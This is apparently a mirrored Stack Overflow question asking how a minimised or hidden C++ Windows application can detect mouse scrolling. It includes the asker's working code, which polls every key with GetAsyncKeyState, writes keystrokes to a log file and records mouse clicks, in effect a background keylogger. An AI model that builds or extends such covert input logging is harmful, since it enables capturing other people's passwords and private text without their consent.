How can I detect mouse scroll event on windows from background app

故事扮演 提交于 2019-12-12 04:57:24

问题


How can I detect mouse scroll and movement event on windows from c++ application even when the application itself is inactive (I mean minimized or hidden) I can get keyboard events

for (int i = 8; i <= 190; i++)
            {
                if (GetAsyncKeyState(i) == -32767){
                    SaveLogs(i, "log.txt");
                    wcout << (wchar_t)i;
                }
            }

///...

int SaveLogs(int key_stroke, char *file){
if ((key_stroke == 1) || (key_stroke == 2))
    return 0; FILE *OUTPUT_FILE;

OUTPUT_FILE = fopen(file, "a+"); /*cout << key_stroke << endl;*/
if (key_stroke == 8)  // The numbers stands for the ascii value of a character
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == VK_MENU) ////
    fprintf(OUTPUT_FILE, "%s", "[ALT]");
else if (key_stroke == VK_PAUSE) ////
    fprintf(OUTPUT_FILE, "%s", "[PAUSE]");
else if (key_stroke == VK_CAPITAL) ////
    fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_PRIOR) ////
    fprintf(OUTPUT_FILE, "%s", "[PAGEUP]");
else if (key_stroke == VK_NEXT) ////
    fprintf(OUTPUT_FILE, "%s", "[PAGEDOWN]");

and so on...

and I can also detect mouse cklicks

switch (CheckMouseButtons()){
            case 1:wcout << L"[l]";
                output << L"[LMB]";
                break;
            case 2:wcout << L"[r]";
                output << L"[RMB]";
                break;
            case 3:wcout << L"[m]";
                output << L"[MMB]";
                break;
            default: break;
            }

and

int CheckMouseButtons(){
if ((GetKeyState(VK_LBUTTON) & 0x80) != 0)
{
    if (((GetTickCount() - lastclicktime) / 100) > 1)
    {

        lastclicktime = GetTickCount();
        lastclick = 1;
        return 1;
    }
}
if ((GetKeyState(VK_RBUTTON) & 0x80) != 0)
{
    if (((GetTickCount() - lastclicktime) / 100) > 1)
    {

        lastclicktime = GetTickCount();
        lastclick = 2;
        return 2;
    }
}
if ((GetKeyState(VK_MBUTTON) & 0x80) != 0)
{
    if (((GetTickCount() - lastclicktime) / 100) > 1)
    {

        lastclicktime = GetTickCount();
        lastclick = 3;
        return 3;
    }
}
return 0;

}

but I cant get mouse scroll key event. I need only to detect if it was scrolled (Up or Down is less important)

来源:https://stackoverflow.com/questions/24570063/how-can-i-detect-mouse-scroll-event-on-windows-from-background-app

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!